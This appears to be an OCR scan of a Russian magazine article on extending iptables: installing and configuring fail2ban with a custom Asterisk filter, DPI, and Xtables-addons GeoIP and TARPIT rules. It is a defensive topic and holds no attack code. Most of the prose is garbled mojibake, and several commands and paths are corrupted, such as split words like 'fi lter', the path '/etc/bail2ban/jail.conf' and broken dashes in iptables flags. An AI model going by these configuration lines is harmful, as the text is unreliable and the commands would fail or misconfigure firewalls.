ÈÏÃÁÓÝ — ÑÆÙÁÓÝ ÓÆÂÆ, ÄÌÁÃÎÏÆ ÐÏÍÎÉÓÝ, ØÓÏ ÂÆÈ ÑÆÈÆÑÃÎÜÖ ËÏÐÉÊ ÎÆ 
ÏÂÏÊÓÉÒÝ. z

Производительность ФС при использовании wayback 
остается на достойном уровне
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 Ïðîñòàÿ ôèëüòðàöèÿ ïàêåòîâ ïî ïîðòàì è IP-àäðåñàì óæå äàâíî 
íèêîìó íå èíòåðåñíà, äà è ýôôåêòèâíîé åå íå íàçîâåøü. Ïðîäâèíó-
òûå ìåæñåòåâûå ýêðàíû óìåþò îáðàáàòûâàòü ïðîòîêîëû âåðõíåãî 
óðîâíÿ, ïðèíèìàÿ ðåøåíèå íà îñíîâå ñîäåðæèìîãî, à ñïèñêè IP ãå-
íåðèðóþòñÿ äèíàìè÷åñêè. Âñå ýòî óìååò è iptables, íóæíî ëèøü åãî 
íåìíîãî äîêðóòèòü.

Èçó÷àåì ïîïóëÿðíûå íàäñòðîéêè äëÿ iptables

Блокируем злоумышленников 
с помощью fail2ban
®Æ ÒÆËÑÆÓ, ØÓÏ ÒÓÏÉÓ ÓÏÌÝËÏ ÈÁÒÃÆÓÉÓÝÒà Ã ²ÆÓÉ ÎÏÃÏÍÔ ÒÆÑÃÉÒÔ, ËÁË ÒÑÁÈÔ 
Ë ÎÆÍÔ ÐÏÓàÎÔÓÒà ÎÉÓÉ ÂÑÔÓÕÏÑÒÆÑÏÃ, ÐÜÓÁßÚÉÖÒà ÐÏÅÏÂÑÁÓÝ ÔØÆÓÎÜÆ 
ÅÁÎÎÜÆ. ̄ ÒÓÁÎÏÃÉÓÝ ÈÌÏÔÍÜÙÌÆÎÎÉËÏÃ ÍÏÇÎÏ ÑÁÈÎÜÍÉ ÒÐÏÒÏÂÁÍÉ, ÏÅÉÎ 
ÉÈ ÎÉÖ — ÔÓÉÌÉÓÁ Fail2ban (fail2ban.org). ©ÅÆà ÐÑÏÒÓÁ: ÅÆÍÏÎ, ÒËÁÎÉÑÔà 
ÌÏÄÉ, ÐÑÏÃÆÑàÆÓ ÎÁÌÉØÉÆ ÈÁÐÉÒÆÊ Ï ÎÆÔÅÁØÎÜÖ ÐÏÐÜÓËÁÖ ÃÃÏÅÁ ÐÁÑÏÌà 
ÉÌÉ ÐÏÐÜÓËÆ ÃÖÏÅÁ Ã ÈÁÐÑÆÚÆÎÎÔß ÏÂÌÁÒÓÝ ÒÆÓÉ. ¦ÒÌÉ ÓÁËÏÃÜÆ ÂÔÅÔÓ ÎÁÊ-
ÅÆÎÜ, ÓÏ ÐÏÅÏÈÑÉÓÆÌÝÎÜÊ IP ÂÌÏËÉÑÔÆÓÒà ÒÑÆÅÒÓÃÁÍÉ iptables/ipwf ÉÌÉ 
TCP Wrapper (/etc/hosts.allow|deny). ²Ï ÃÑÆÍÆÎÆÍ ÂÁÎ ÍÏÇÆÓ ÒÎÉÍÁÓÝÒà 
ÁÃÓÏÍÁÓÉØÆÒËÉ, ÂÆÈ ÃÍÆÙÁÓÆÌÝÒÓÃÁ ßÎÉËÒÏÉÅÁ, ØÓÏ ÏØÆÎÝ ÔÅÏÂÎÏ, ÃÆÅÝ 
ÐÏÅ ÑÁÈÅÁØÔ ÍÏÇÆÓ ÐÏÐÁÒÓÝ É ÌÆÄÉÓÉÍÎÜÊ ÖÏÒÓ. ̄  ÂÌÏËÉÑÏÃËÆ ÐÏÌÝÈÏ-
ÃÁÓÆÌÝ/ÁÅÍÉÎ ÐÏÌÔØÁÆÓ ÒÏÏÂÚÆÎÉÆ ÐÏ e-mail. ©ÈÎÁØÁÌÝÎÏ Fail2ban 
ÑÁÈÑÁÂÁÓÜÃÁÌÒà ÅÌà ÈÁÚÉÓÜ SSH, ÒÆÄÏÅÎà ÞÓÏ ÔÇÆ ÕÑÆÊÍÃÏÑË, ËÏÓÏÑÜÊ 
ÍÏÇÎÏ ÌÆÄËÏ ÎÁÒÓÑÏÉÓÝ ÐÏÅ ÌßÂÜÆ ÐÑÉÌÏÇÆÎÉà É ÒÏÂÜÓÉà, Ã ÓÏÍ ØÉÒÌÆ É 
ÐÑÏÐÉÒÁÓÝ ÒÃÏÉ ÍÆÓÏÅÜ ÂÌÏËÉÑÏÃËÉ IP. ́ ÅÏÂÎÏ ÓÁËÇÆ, ØÓÏ ÏÅÉÎ ÐÑÏ×ÆÒÒ 
ÍÏÇÆÓ ÈÁÚÉÚÁÓÝ ÒÑÁÈÔ ÎÆÒËÏÌÝËÏ ÒÆÑÃÉÒÏÃ.
®Á ÒÓÑÁÎÉ×Æ ÈÁËÁØËÉ Fail2ban ÐÑÆÅÌÁÄÁßÓÒà ÒÏÂÒÓÃÆÎÎÜÆ ÒÂÏÑËÉ 
ÐÁËÆÓÏÃ ÅÌà ÂÏÌÝÙÉÎÒÓÃÁ ÅÉÒÓÑÉÂÔÓÉÃÏÃ Linux, ÎÏ ÅÌà ÔÒÓÁÎÏÃËÉ ÌÔØÙÆ 
ÃÜÂÑÁÓÝ ÃÁÑÉÁÎÓ ÉÈ ÑÆÐÏÈÉÓÏÑÉà. ÞÊÎÓÆÊÎÆÑÜ ÔØÉÓÜÃÁßÓ ÏÒÏÂÆÎÎÏÒÓÉ 
ËÏÎËÑÆÓÎÏÄÏ ÅÉÒÓÑÁ ÐÌßÒ ÅÏÂÁÃÌàßÓ ÏÓ ÒÆÂà ÕÁÊÌÜ ÈÁÐÔÒËÁ É ÐÑÁÃÉÌÁ 
ÂÌÏËÉÑÏÃËÉ.
£ Ubuntu/Debian ÔÒÓÁÎÏÃËÁ ÏØÆÎÝ ÐÑÏÒÓÁ:

$ sudo apt-get install fail2ban

¥ÆÍÏÎ ÒÓÁÑÓÔÆÓ Ò ÔÒÓÁÎÏÃËÁÍÉ ÐÏ ÔÍÏÌØÁÎÉß, ÈÁÚÉÚÁà ÓÏÌÝËÏ SSH. £ÒÆ 

ÎÁÒÓÑÏÊËÉ ÐÑÏÉÈÃÏÅàÓÒà Ã ÎÆÒËÏÌÝËÉÖ ÕÁÊÌÁÖ, ÑÁÈÍÆÚÆÎÎÜÖ Ã ËÁÓÁÌÏÄÆ 
/etc/fail2ban (ÅÌà Debian/Ubuntu). £ fail2ban.conf ÖÑÁÎàÓÒà ÐÁÑÁÍÆÓÑÜ 
ÈÁÐÔÒËÁ ÅÆÍÏÎÁ, ÃÎÔÓÑÉ ÎÉØÆÄÏ ÉÎÓÆÑÆÒÎÏÄÏ Ã ÐÌÁÎÆ ÎÁÒÓÑÏÆË ÅÌà ÎÁÒ 
ÎÆÓ. ®ÁØÉÎÁà Ò ÃÆÑÒÉÉ 0.7, ÕÉÌÝÓÑÜ É ÅÆÊÒÓÃÉà ÐÑÏÐÉÒÜÃÁßÓÒà Ã ÑÁÈÎÜÖ 
ÕÁÊÌÁÖ. °ÏÒÌÆ ÔÒÓÁÎÏÃËÉ ÉÖ ÍÏÇÎÏ ÎÁÊÓÉ ÒÏÏÓÃÆÓÒÓÃÆÎÎÏ Ã ÐÏÅËÁÓÁÌÏÄÁÖ 
filter.d É action.d. µÁÊÌÜ ÃÎÔÓÑÉ ÞÓÉÖ ÅÉÑÆËÓÏÑÉÊ ÍÏÄÔÓ ÉÍÆÓÝ ÑÁÒÙÉÑÆÎÉà 
.conf É .local. °ÁÑÁÍÆÓÑÜ ÉÈ ÃÓÏÑÏÄÏ ÈÁÍÆÚÁßÓ ÔÒÓÁÎÏÃËÉ ÉÈ ÐÆÑÃÏÄÏ, ÓÏ 
ÆÒÓÝ ØÓÏÂÜ ØÓÏ-ÓÏ ÐÆÑÆÏÐÑÆÅÆÌÉÓÝ, ÃÎÏÒÉÓÝ ÉÈÍÆÎÆÎÉà ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ 
Ã .conf ÎÆ ÎÔÇÎÏ. ³ÁËÉÍ ÏÂÑÁÈÏÍ ÏÂÌÆÄØÁÆÓÒà ÐÏÒÌÆÅÔßÚÆÆ ÏÂÎÏÃÌÆÎÉÆ 
É ÃÏÈÃÑÁÓ Ë ÅÆÕÏÌÓÎÜÍ ÎÁÒÓÑÏÊËÁÍ. °ÑÁÃÉÌÁ ÐÏÉÒËÁ ÅÏÃÏÌÝÎÏ ÐÑÏÒÓÜ. 
°ÑÆÅÔÒÍÏÓÑÆÎÏ ÉÒÐÏÌÝÈÏÃÁÎÉÆ ÐÆÑÆÍÆÎÎÜÖ, ÐÑÉØÆÍ ÉÍÆßÓÒà ÔÇÆ ÃÒÓÑÏ-
ÆÎÎÜÆ. ³ÁË, HOST ÒÏÏÓÃÆÓÒÓÃÔÆÓ ÑÆÄÔÌàÑÎÏÍÔ ÃÜÑÁÇÆÎÉß, ÉÒÐÏÌÝÈÔÆÍÏÍÔ 
ÅÌà ÐÏÉÒËÁ IP ÉÌÉ ÉÍÆÎÉ ÔÈÌÁ:

(?:::f{4,6}:)?(?P<host>[\w\-.^_]+)

£ÏÓ, ÎÁÐÑÉÍÆÑ, ÐÑÁÃÉÌÏ ÅÌà ÐÏÉÒËÁ ÐÏÐÜÓÏË DDOS-ÁÓÁËÉ ÎÁ SSH:

$ grep -v '^#' /etc/fail2ban/fi lter.d/sshd-ddos.conf
[Defi nition]
failregex = sshd(?:\[\d+\])?: Did not receive identifi cation
 string from <HOST>$
ignoreregex =

²ÓÑÏËÁ failregex ÏÐÉÒÜÃÁÆÓ, ØÓÏ ÉÒËÁÓÝ. £ ignoreregex — ÈÎÁØÆÎÉà, ËÏÓÏ-
ÑÜÆ ÅÏÌÇÎÜ ÉÄÎÏÑÉÑÏÃÁÓÝÒà. £ ÏÅÎÏÍ ÕÁÊÌÆ ÍÏÇÆÓ ÂÜÓÝ ÎÆÒËÏÌÝËÏ ÓÁËÉÖ 
ÒÓÑÏË. «ÓÏ ÖÏÓÝ ÎÆÍÎÏÄÏ ÑÁÈÂÉÑÁÆÓÒà Ã ÑÆÄÔÌàÑÎÜÖ ÃÜÑÁÇÆÎÉàÖ, ÌÆÄËÏ 
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ÒÏÈÅÁÒÓ ÒÃÏÆ ÐÑÁÃÉÌÏ, ÉÒÐÏÌÝÈÔà ÉÍÆßÚÉÆÒà ÐÑÉÍÆÑÜ. ¥Ìà 
ÑÁÈÂÏÑÁ ÌÏÄ-ÕÁÊÌÁ ÅÆÍÏÎ ÃÜÈÜÃÁÆÓ ÔÓÉÌÉÓÔ fail2ban-regex, 
ËÏÓÏÑÔß ÏÂÜØÎÏ ÐÑÉÍÆÎàßÓ É ÅÌà ÐÑÏÃÆÑËÉ ÎÏÃÏÄÏ ÕÉÌÝÓÑÁ.
®ÁÐÑÉÍÆÑ, Ã ÐÏÒÓÁÃËÆ ÎÆÓ ÐÑÁÃÉÌÁ ÅÌà Asterisk ÉÌÉ ÅÑÔÄÏÄÏ 
ÐÏÅÏÂÎÏÄÏ ÒÆÑÃÆÑÁ, ÎÏ ÒÆÄÏÅÎà ÁÓÁËÉ ÎÁ VoIP ÎÆ ÑÆÅËÉ, É Ã 
ÌÏÄÁÖ ÍÏÇÎÏ ÔÃÉÅÆÓÝ ÈÁÐÉÒÉ ÃÑÏÅÆ:

NOTICE[3309] chan_sip.c: Registration from 
'sip:XXX@1.2.3.4' failed for '9.8.7.6' — No matching
 peer found

°ÑÁÃÉÌÏ ÂÔÅÆÓ ÒÌÆÅÔßÚÆÆ:

failregex = NOTICE.* .*: Registration from '.*'
failed for '' — No matching peer found

© ÓÁË ÅÌà ËÁÇÅÏÄÏ ÒÌÔØÁà. °ÑÏÃÆÑàÆÍ:

$ fail2ban-regex /var/log/asterisk.log 'NOTICE.* .*:
Registration from '.*' failed for '' — No matching
peer found'

¦ÒÌÉ ÃÒÆ ÎÏÑÍÁÌÝÎÏ, ÈÁÐÉÒÜÃÁÆÍ ÕÉÌÝÓÑÜ Ã ÎÏÃÜÊ ÕÁÊÌ 
asterisk.conf, ÃÈàÃ ÈÁ ÐÑÉÍÆÑ ÌßÂÏÊ ÉÈ ËÁÓÁÌÏÄÁ filter.d.
² ÓÆÍ, ØÓÏ ÉÒËÁÓÝ, ÑÁÈÏÂÑÁÌÉÒÝ. ̄ ÒÓÁÌÏÒÝ ÔËÁÈÁÓÝ, ÄÅÆ ÉÒËÁÓÝ, 
É ØÓÏ ÅÆÌÁÓÝ Ò ÎÁÖÏÅËÏÊ. ̄ ÐÉÒÁÎÉà ÃÒÆÖ ÅÆÊÒÓÃÉÊ ÒÏÂÑÁÎÜ 
Ã ÐÏÅËÁÓÁÌÏÄÆ action.d. ̈ ÅÆÒÝ ÎÆÒËÏÌÝËÏ ÕÁÊÌÏÃ ÐÏÅ ËÁÇÅÏÆ 

ÐÑÉÌÏÇÆÎÉÆ/ÈÁÅÁØÔ, ËÁË ÐÑÁÃÉÌÏ, ÓÁÍ ÔÇÆ ÃÒÆ ÎÁÒÓÑÏÆÎÏ, 
É ÍÆÎàÓÝ ÎÉØÆÄÏ ÎÆ ÓÑÆÂÔÆÓÒà. ®Ï ØÓÏÂÜ ÎÏÃÜÆ ÕÉÌÝÓÑÜ 
ÔÃÉÅÆÌ Fail2ban, ÎÆÏÂÖÏÅÉÍÏ ÏÂÛàÃÉÓÝ ÉÖ Ã /etc/bail2ban/
jail.conf. £ÎÔÓÑÉ ÞÓÏÄÏ ËÏÎÕÉÄÁ ÎÁÖÏÅÉÍ ÎÆÒËÏÌÝËÏ ÒÆË×ÉÊ Ò 
ÏÐÉÒÁÎÉÆÍ ÑÁÈÎÜÖ ÒÆÑÃÉÒÏÃ.

$ sudo nano /etc/bail2ban/jail.conf
[DEFAULT]
// IP-ȔȘȤșȥȔ, ȞȢȦȢȤȯș ȡș ȕȧȘȧȦ ȕȟȢȞȜȤȢȖȔȦȰȥȳ, țȘșȥȰ
ȠȢȚȡȢ ȧȞȔțȔȦȰ ȣȢȘȥșȦȰ ȜȟȜ DNS-ȜȠȳ
ignoreip = 127.0.0.1
// ǢȤșȠȳ ȕȟȢȞȜȤȢȖȞȜ ȧțȟȔ, ȣȤȜ ȢȦȤȜȪȔȦșȟȰȡȢȠ țȡȔȫșȡȜȜ
ȕȟȢȞȜȤȢȖȞȔ ȣȢȥȦȢȳȡȡȔȳ
bantime = 600
// ǯȤȢȠșȚȧȦȢȞ ȖȤșȠșȡȜ Ȝ ȞȢȟȜȫșȥȦȖȢ ȡșȧȘȔȫȡȯȩ 
ȣȢȣȯȦȢȞ, ȡșȢȕȩȢȘȜȠȯȩ Șȟȳ ȕȟȢȞȜȤȢȖȞȜ
maxretry = 3
fi ndtime = 600

[asterisk-iptables]
enabled = true
# Ǣ fi lter Ȝ action ȣȤȢȣȜȥȯȖȔșȠ ȜȠȳ ȨȔȝȟȔ ȕșț 
ȤȔȥȬȜȤșȡȜȳ Ȝț ȥȢȢȦȖșȦȥȦȖȧȲȭȜȩ ȣȢȘȞȔȦȔȟȢȗȢȖ ȣȟȲȥ 
ȘȢȣȢȟȡȜȦșȟȰȡȯș ȣȔȤȔȠșȦȤȯ
fi lter = asterisk
action = iptables-allports[name=ASTERISK,
protocol=all]
sendmail-whois[name=ASTERISK, dest=root,
sender=fail2ban@example.org]
# ǫȢȗȜ Asterisk
logpath = /var/log/asterisk/messages
# ǯșȤșȢȣȤșȘșȟȳșȠ ȘșȨȢȟȦȡȯș țȡȔȫșȡȜȳ
maxretry = 5
bantime = 6000

°ÑÏÃÆÑàÆÍ, ÈÁÐÔÚÆÎÜ ÌÉ ÒÆÑÃÉÒÜ:

$ sudo service iptables start
$ sudo service fail2ban start

±ÁÂÏÓÔ Fail2ban ÍÏÇÎÏ ÏÓÒÌÆÅÉÓÝ, ÐÑÏÒÍÏÓÑÆÃ ÇÔÑÎÁÌ /var/
log/fail2ban.log ÉÌÉ ÐÑÁÃÉÌÁ iptables.

• ²ÁÊÓ Fail2ban — 
fail2ban.org.

• ±ÆÒÔÑÒÜ OpenDPI 
— opendpi.org, code.
google.com/p/opendpi.

• ²ÁÊÓ Xtables-addons 
— xtables-addons.
sf.net.

links

HTTP://WWW

В поставке fail2ban уже имеются фильтры для защиты 
некоторых приложений

Тестируем правило для fail2ban

Deep Packet Inspection (ÄÌÔÂÏËÏÆ ÉÎÒÐÆËÓÉÑÏÃÁÎÉÆ 
ÐÁËÆÓÁ) — ÓÆÖÎÏÌÏÄÉà, ÐÏÈÃÏÌàßÚÁà 
ÐÑÏÃÆÑàÓÝ ÐÆÑÆÒÜÌÁÆÍÜÆ ÅÁÎÎÜÆ, Á ÎÆ ÓÏÌÝËÏ 
ÐÑÏÓÏËÏÌÏÒÏÅÆÑÇÁÚÔß ÉÎÕÏÑÍÁ×Éß. DPI-ÔÒÓÑÏÊÒÓÃÁ 
ÒÐÏÒÏÂÎÜ ÑÁÂÏÓÁÓÝ ÒÏ ÃÓÏÑÏÄÏ ÐÏ ÒÆÅÝÍÏÊ ÔÑÏÃÎÉ OSI É 
ÃÜàÃÌàßÓ:

• ÓÉÐÜ ÐÆÑÆÅÁÃÁÆÍÜÖ ÅÁÎÎÜÖ (P2P, VoIP, online-ÉÄÑÜ, 
ÐÏØÓÁ, ÃÉÅÆÏ), ÐÏÈÃÏÌàà ËÏÎÓÑÏÌÉÑÏÃÁÓÝ É ÂÌÏËÉÑÏÃÁÓÝ 
ÓÑÁÕÉË ÒÏÄÌÁÒÎÏ ÔÒÓÁÎÏÃÌÆÎÎÏÊ ÐÏÌÉÓÉËÆ;
• ÉÒÐÏÌÝÈÏÃÁÎÉÆ Ã ÒÆÓÉ ÎÁÉÂÏÌÆÆ ÑÁÒÐÑÏÒÓÑÁÎÆÎÎÜÖ 
ÐÑÉÌÏÇÆÎÉÊ (ÎÁÐÑÉÍÆÑ, ÅÌà P2P: BitTorrent, KaZaa, 
eDonkey, Gnutella, MP2P, FastTrack);
• ÈÁÄÑÔÈËÔ ÒÆÓÉ ÓÆÍ ÉÌÉ ÉÎÜÍ ÒÆÑÃÉÒÏÍ, ÕÏÑÍÉÑÔà 
ÎÁ ÏÒÎÏÃÆ ÁÎÁÌÉÈÁ ÍÆÖÁÎÉÈÍÜ, ÄÁÑÁÎÓÉÑÔßÚÉÆ 
ÏÐÑÆÅÆÌÆÎÎÔß ÐÑÏÉÈÃÏÅÉÓÆÌÝÎÏÒÓÝ ÒÆÓÉ (QoS);
• ÈÌÏÎÁÍÆÑÆÎÎÜÊ ÓÑÁÕÉË Ã ÒÆÓÉ (ÞËÒÐÌÏÉÓÜ, ØÆÑÃÉ, 
ÓÑÏàÎÜ É ÐÑÏØÉÆ ÈÌÏÃÑÆÅÜ).

Технология DPI
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UNIXOID

$ sudo iptables -L -v | grep fail2ban

Коллекция аддонов Xtables-addons
°ÑÏÆËÓ patch-o-matic (-ng), ÐÑÆÅÌÁÄÁÃÙÉÊ ÑÁÈÌÉØÎÜÆ ÑÁÒÙÉÑÆÎÉà 
ÅÌà iptables, ÔÇÆ ÎÆËÏÓÏÑÏÆ ÃÑÆÍà ÎÆ ÑÁÈÃÉÃÁÆÓÒà, ÆÄÏ ÍÆÒÓÏ ÈÁÎàÌ 
Xtables-addons (xtables-addons.sf.net). ¤ÌÁÃÎÁà ÆÄÏ ÏÒÏÂÆÎÎÏÒÓÝ — ÅÌà 
ÔÒÓÁÎÏÃËÉ ÍÏÅÔÌÆÊ ÎÆ ÓÑÆÂÔÆÓÒà ÐÆÑÆÒÂÏÑËÁ àÅÑÁ É/ÉÌÉ iptables. £ ÉÓÏÄÆ 
ÅÏÂÁÃÌÆÎÉÆ ÎÏÃÜÖ ÕÔÎË×ÉÊ ÐÑÏÉÒÖÏÅÉÓ ÏØÆÎÝ ÐÑÏÒÓÏ, ÎÆÓ ÐÑÏÂÌÆÍ É 
ÐÑÉ ÏÂÎÏÃÌÆÎÉÉ àÅÑÁ. ¦ÒÌÉ àÅÑÏ ÒÏÂÉÑÁÌÏÒÝ ÃÑÔØÎÔß, ÐÑÏÃÆÑÝ ÎÁÌÉØÉÆ 
CONFIG_NETFILTER_XTABLES Ã ÐÁÑÁÍÆÓÑÁÖ:

$ grep -i xtables /boot/confi g-`uname -r`
CONFIG_NETFILTER_XTABLES=m

£ ÏÅÎÉÖ ÅÉÒÓÑÉÂÔÓÉÃÁÖ ÏÒÎÏÃÎÜÆ ÍÏÅÔÌÉ ÔÇÆ ÃËÌßØÆÎÜ Ã ÂÁÈÏÃÜÊ ÒÏ-
ÒÓÁÃ, Ã ÅÑÔÄÉÖ — ÑÁÈÍÆÚÆÎÜ Ã ÑÆÐÏÈÉÓÏÑÉàÖ ÐÁËÆÓÏÃ. £ Ubuntu ËÏÍÁÎÅÁ:

$ sudo apt-cache search xtables-addons

...ÃÜÅÁÒÓ ÅÃÁ ÐÁËÆÓÁ: ÏÅÉÎ Ò ÉÎÒÓÑÔÍÆÎÓÁÍÉ É ÂÉÂÌÉÏÓÆËÁÍÉ, ÅÑÔÄÏÊ — Ò 
ÉÒÖÏÅÎÉËÁÍÉ.

$ sudo apt-get build-dep xtables-addons-common

«ÁË ÐÑÁÃÉÌÏ, Ã ÑÆÐÆ ÎÁÖÏÅÉÓÒà ÎÆ ÒÁÍÁà ÁËÓÔÁÌÝÎÁà ÃÆÑÒÉà, ÐÏÞÓÏÍÔ 
ËÁØÁÆÍ Ò ÒÁÊÓÁ ÁÑÖÉÃ Ò ÉÒÖÏÅÎÜÍÉ ÓÆËÒÓÁÍÉ, ÑÁÒÐÁËÏÃÜÃÁÆÍ É ÅÁÆÍ ÒÓÁÎ-
ÅÁÑÓÎÔß ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏÒÓÝ ËÏÍÁÎÅ: «./configure; make; make install». 
°ÑÏÃÆÑàÆÍ ÈÁÄÑÔÈËÔ ÍÏÅÔÌà:

$ lsmod x_tables

³ÆÐÆÑÝ ÍÏÇÎÏ ÒÏÈÅÁÃÁÓÝ ÐÑÁÃÉÌÁ.
£ ÒÏÒÓÁÃ ÐÁËÆÓÁ ÃÖÏÅÉÓ ÂÏÌÆÆ 20 ÍÏÅÔÌÆÊ É ÔÓÉÌÉÓ ÑÁÈÌÉØÎÏÄÏ ÎÁÈÎÁ-
ØÆÎÉà. ¥ÏËÔÍÆÎÓÁ×ÉÉ ÎÁ ÒÁÊÓÆ ËÁË ÓÁËÏÃÏÊ ÎÆÓ, ÎÏ ÐÑÁËÓÉØÆÒËÉ ÃÒÆ, ØÓÏ 
ÎÔÇÎÏ ÅÌà ÒÓÁÑÓÁ, ÏÐÉÒÁÎÏ Ã «man xtables-addons». ±ÁÈÂÆÑÆÍ ÒÁÍÜÆ ÐÏ-
ÐÔÌàÑÎÜÆ ÉÈ ÎÉÖ.¯ÓÕÉÌÝÓÑÏÃÁÓÝ ÙÎÜÑàßÚÉÖ ÒËÁÎÆÑÏÃ É ÂÏÓÏÃ ÃÑÔØÎÔß 
ÐÏ IP-ÁÅÑÆÒÁÍ ÎÆÃÏÈÍÏÇÎÏ, ÎÏ ÍÏÇÎÏ ÒÔÚÆÒÓÃÆÎÎÏ ÔÍÆÎÝÙÉÓÝ ÐÏÓÏË, 
ÏÓÑÆÈÁÃ ÒÓÑÁÎÜ, ÉÍÆßÚÉÆ «ÒËÃÆÑÎÔß ÑÆÐÔÓÁ×Éß». ÏÅÔÌÝ GeoIP ÐÏ-
ÈÃÏÌàÆÓ ÐÑÉÍÆÎàÓÝ ÐÑÁÃÉÌÁ Ë ÐÁËÆÓÁÍ ÎÁ ÏÒÎÏÃÁÎÉÉ ÒÓÑÁÎÜ ÉÒÓÏØÎÉËÁ/
ÎÁÈÎÁØÆÎÉà. ®Ï ØÓÏÂÜ ÕÉÌÝÓÑ ÑÁÂÏÓÁÌ, ÎÆÏÂÖÏÅÉÍÏ ÒËÁØÁÓÝ É ÔÒÓÁÎÏÃÉÓÝ 
ÂÁÈÜ. ¥Ìà ÞÓÏÊ ×ÆÌÉ ÉÒÐÏÌÝÈÔßÓÒà ÅÃÁ ÒËÑÉÐÓÁ, ÌÆÇÁÚÉÆ Ã ËÁÓÁÌÏÄÆ /usr/
libexec/xtables-addons (ÉÌÉ /usr/lib/xtables-addons). ¥Ìà ÏÂÑÁÂÏÓËÉ CSV 
ÐÏÓÑÆÂÔÆÓÒà ÒÏÏÓÃÆÓÒÓÃÔßÚÉÊ ÍÏÅÔÌÝ Perl:

$ cd /usr/libexec/xtables-addons/
$ sudo ./xt_geoip_dl

$ sudo mkdir /usr/share/xt_geoip
$ sudo apt-get install libtext-csv-xs-perl
$ sudo ./xt_geoip_build -D /usr/share/xt_geoip *.csv

°ÏÒÌÆ ÃÜÐÏÌÎÆÎÉà ÐÏÒÌÆÅÎÆÊ ËÏÍÁÎÅÜ ÂÔÅÆÓ ÃÜÃÆÅÆÎÁ ÓÁÂÌÉ×Á ÒÓÑÁÎ, 
ËÏÓÏÑÜÆ ÈÁÓÆÍ ÔËÁÈÜÃÁßÓÒà ØÆÑÆÈ ÈÁÐàÓÔß Ã ÐÁÑÁÍÆÓÑÁÖ '--src-cc' (ÒÓÑÁÎÁ 
ÉÒÓÏØÎÉË), '--dst-cc' (ÎÁÈÎÁØÆÎÉÆ). £ÒÆ ÐÁÑÁÍÆÓÑÜ ÍÏÇÎÏ ÔÈÎÁÓÝ, ÃÜÐÏÌ-
ÎÉÃ «iptables -m geoip –help».

// ǡȟȢȞȜȤȧșȠ ȔțȜȔȦȥȞȜȩ ȘȤȧțșȝ
$ sudo iptables -A INPUT -m geoip \
    --src-cc CN, TW, KR -j REJECT
// ǡȟȢȞȜȤȧșȠ ȔȡȢȡȜȠȡȯș ȣȤȢȞȥȜ
$ sudo iptables -A INPUT -m geoip \
    --src-cc A1 -j REJECT
// ǯȢȘȞȟȲȫȔȦȰȥȳ Ȟ SSH ȠȢȚȡȢ ȦȢȟȰȞȢ Ȝț ǰȢȥȥȜȜ
$ sudo iptables -A INPUT -p tcp –dport 22 \
    -m geoip ! –src-cc RU -j REJECT
// ǧȔȣȤșȦ ȜȥȩȢȘȳȭȜȩ ICMP Ȗ ȡșȞȢȦȢȤȯș ȥȦȤȔȡȯ
$ sudo iptables -A OUTPUT -p icmp -m geoip \
    –dst-cc ES -j REJECT

©ÒÐÏÌÝÈÔà GeoIP, ÍÏÇÎÏ ÍÁÑËÉÑÏÃÁÓÝ ÓÑÁÕÉË, ØÓÏÂÜ ÆÄÏ ÏÂÑÁÂÁÓÜÃÁÓÝ 
ÐÏ-ÅÑÔÄÏÍÔ ÉÌÉ ÒØÉÓÁÓÝ ÏÓÅÆÌÝÎÏ:

iptables -A INPUT -p tcp --dport 80 -m geoip \
    --src-cc RU -j MARK --set-mark 1

£ÒÆ ÐÑÉÃÜËÌÉ, ØÓÏ ÁÓÁËÔÆÍÜÊ ÖÏÒÓ ÏÓÑÁÇÁÆÓ ÎÁÐÁÅÆÎÉÆ, ÐÑÏÒÓÏ ÂÌÏËÉÑÔà 
IP-ÁÅÑÆÒ, É ÎÉËÁË ÁËÓÉÃÎÏ ÎÆ ÐÑÏÓÉÃÏÅÆÊÒÓÃÔÆÓ ÈÌÏÔÍÜÙÌÆÎÎÉËÔ. £ 
ËÏÍÐÌÆËÓÆ ÁÅÅÏÎÏÃ ÅÏÒÓÔÐÎÏ ÎÆÒËÏÌÝËÏ ÍÏÅÔÌÆÊ, ÐÏÈÃÏÌàßÚÉÖ ÏÓÃÆÓÉÓÝ 
ÉÌÉ ÃÃÆÒÓÉ Ã ÈÁÂÌÔÇÅÆÎÉÆ. ²ÁÍÜÊ ÉÈÃÆÒÓÎÜÊ ÉÈ ÎÉÖ ÎÏÒÉÓ ÎÁÈÃÁÎÉÆ 
TARPIT. ±ÁÂÏÓÁÆÓ ÏÎ ÐÑÏÒÓÏ: ÐÑÉ ÐÏÅËÌßØÆÎÉÉ ÒÏÆÅÉÎÆÎÉÆ ÏÓËÑÜÃÁÆÓ, 
ÎÏ ÃÏÓ ÈÁËÑÜÓÝ «ÈÁÂÜÃÁÆÓ» (ÐÏÒÜÌÁÆÓ Ã ÏÓÃÆÓ ÐÁËÆÓ Ò ÑÁÈÍÆÑÏÍ TCP ÏËÎÁ 
ÑÁÃÎÜÍ ÎÔÌß). ́ ÅÁÌÆÎÎÁà ÒÉÒÓÆÍÁ ÐÑÁÃÉÌÝÎÏ ÏÂÑÁÂÏÓÁÓÝ ÓÁËÏÊ ÐÏÒÜÌ ÎÆ 
ÍÏÇÆÓ É ÏÓÐÑÁÃÌàÆÓ Ã ÏÓÃÆÓ ÒÏÏÂÚÆÎÉÆ Ï ÈÁËÑÜÓÉÉ ÒÏÆÅÉÎÆÎÉà, ËÏÓÏÑÏÆ 
ÉÄÎÏÑÉÑÔÆÓÒà. £ ÉÓÏÄÆ ÒÏÆÅÉÎÆÎÉÆ «ÃÉÒÉÓ» ÏËÏÌÏ ÅÃÁÅ×ÁÓÉ ÍÉÎÔÓ, ÐÏ-
ÓÑÆÂÌàà ÑÆÒÔÑÒÜ ÔÅÁÌÆÎÎÏÊ ÒÉÒÓÆÍÜ. ®ÁÐÑÉÍÆÑ, SSH-ÒÆÑÃÆÑ ØÁÒÓÏ ÐÏÅ-
ÃÆÙÉÃÁßÓ ÎÁ ÐÏÑÓ, ÏÓÌÉØÎÜÊ ÏÓ 22. ¾ÓÏ ÒÐÁÒÁÆÓ ÏÓ ÎÆËÏÓÏÑÜÖ ÒËÁÎÆÑÏÃ, 
ÅÌà ÏÒÓÁÌÝÎÜÖ ÒÓÁÃÉÍ ÌÏÃÔÙËÔ:

$ sudo iptables -A INPUT -p tcp -m tcp \
    -dport 22 -j TARPIT

